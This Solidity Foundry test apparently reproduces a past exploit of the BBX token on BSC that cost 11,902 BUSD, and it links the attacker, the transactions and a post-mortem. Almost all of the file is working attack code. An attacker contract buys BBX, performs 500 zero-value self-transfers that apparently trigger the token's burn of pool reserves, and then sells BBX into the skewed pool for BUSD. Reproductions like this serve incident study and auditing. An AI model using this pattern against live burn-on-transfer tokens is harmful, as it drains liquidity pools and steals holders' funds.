src/test/2025-03/BBXToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 11902 BUSD
8// Attacker : https://bscscan.com/address/0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e
9// Attack Contract : https://bscscan.com/address/0x0489E8433e4E74fB1ba938dF712c954DDEA93898
10// Vulnerable Contract : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e
11// Attack Tx : https://bscscan.com/tx/0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac581
12// Attack Tx (Create Contract): https://bscscan.com/tx/0xf7019e1232704c3ede4ecf00b79ccf647b2cb3718b9f6972e70dc7c5170e3f91
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e#code
16 
17// @Analysis
18// Post-mortem : https://blog.solidityscan.com/bbx-token-hack-analysis-f2e962c00ee5
19// Twitter Guy : https://x.com/TenArmorAlert/status/1916312483792408688
20 
21address constant BBX = 0x67Ca347e7B9387af4E81c36cCA4eAF080dcB33E9;
22address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
23address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
24 
25address constant PancakeSwapV2_BUSD_BBX= 0x6051428B580f561B627247119EEd4D0483B8D28e;
26address constant PancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
27 
28contract BBXToken_exp is Test {
29 
30    address attacker = makeAddr("attacker");
31 
32    function setUp() public {
33        // 47626727 -> Attack block
34        // 47626457 -> Create contract block
35 
36        vm.createSelectFork("bsc", 47626457 - 1); // Create contract block
37 
38        vm.label(attacker, "BBX Exploiter");
39        vm.label(BBX, "BBX");
40        vm.label(BUSD, "BUSD-T Stablecoin");
41        vm.label(wBNB, "WBNB");
42        vm.label(PancakeSwapV2_BUSD_BBX, "PancakeSwap V2: BSC-USD-BBX LP");
43        vm.label(PancakeSwapRouterV2, "PancakeSwap: Router v2");
44 
45        vm.deal(attacker, 1 ether);
46    }
47 
48    function testExploit() public {
49 
50        // Deploy the attack contract
51        vm.prank(attacker);
52        AttackerC attC = new AttackerC{value: 0.05 ether}();
53 
54        vm.roll(47626727 - 1); // Attack tx block
55        vm.warp(block.timestamp + 15 * 60); // Warp time
56        vm.startPrank(attacker);
57 
58        attC.attack();
59        emit log_named_decimal_uint("Profit in BUSD", IERC20(BUSD).balanceOf(attacker), 18);
60 
61        vm.stopPrank();
62    }
63}
64 
65contract AttackerC {
66 
67    constructor() payable {
68        // console.log(IPancakeRouter(payable(PancakeSwapRouterV2)).WETH()); // WBNB
69 
70        // Prepare BBX token
71        uint256 balance = address(this).balance;
72        address[] memory path = new address[](3);
73        path[0] = wBNB;
74        path[1] = BUSD;
75        path[2] = BBX;
76        IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: balance}(
77            balance,
78            path,
79            address(this),
80            block.timestamp + 10
81        );
82 
83        // console.log("Balance of BBX: ", IERC20(BBX).balanceOf(address(this)));
84    }
85 
86    function attack() public {
87 
88        // console.log(IBBXToken(BBX).lastBurnTime()); // 1742375453
89        // console.log(IBBXToken(BBX).lastBurnGapTime()); // 86400
90        // console.log(IBBXToken(BBX).liquidityPool()); // 0x6051428b580f561b627247119eed4d0483b8d28e
91        // console.log(IBBXToken(BBX).burnRate()); // 300
92 
93        for (uint256 i = 0; i < 500; i++) {
94            IERC20(BBX).transfer(address(this), 0);
95 
96        }
97        // console.log(IERC20(BUSD).balanceOf(PancakeSwapV2_BUSD_BBX));
98        // console.log(IERC20(BBX).balanceOf(PancakeSwapV2_BUSD_BBX));
99 
100        IERC20(BBX).approve(PancakeSwapRouterV2, type(uint256).max);
101 
102        uint256 balanceOfBBX = IERC20(BBX).balanceOf(address(this));
103        // console.log("Balance of BBX: ", balanceOfBBX); // 18480773819186942481
104 
105        address[] memory path = new address[](2);
106        path[0] = BBX;
107        path[1] = BUSD;
108        IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
109            balanceOfBBX,
110            0,
111            path,
112            msg.sender,
113            block.timestamp + 10
114        );
115    }
116 
117    receive() external payable {
118        // Receive BNB for the attack
119    }
120}
121 
122 
123interface IBBXToken {
124    function lastBurnTime() external view returns (uint256);
125    function lastBurnGapTime() external view returns (uint256);
126    function liquidityPool() external view returns (address);
127    function burnRate() external view returns (uint256);
128}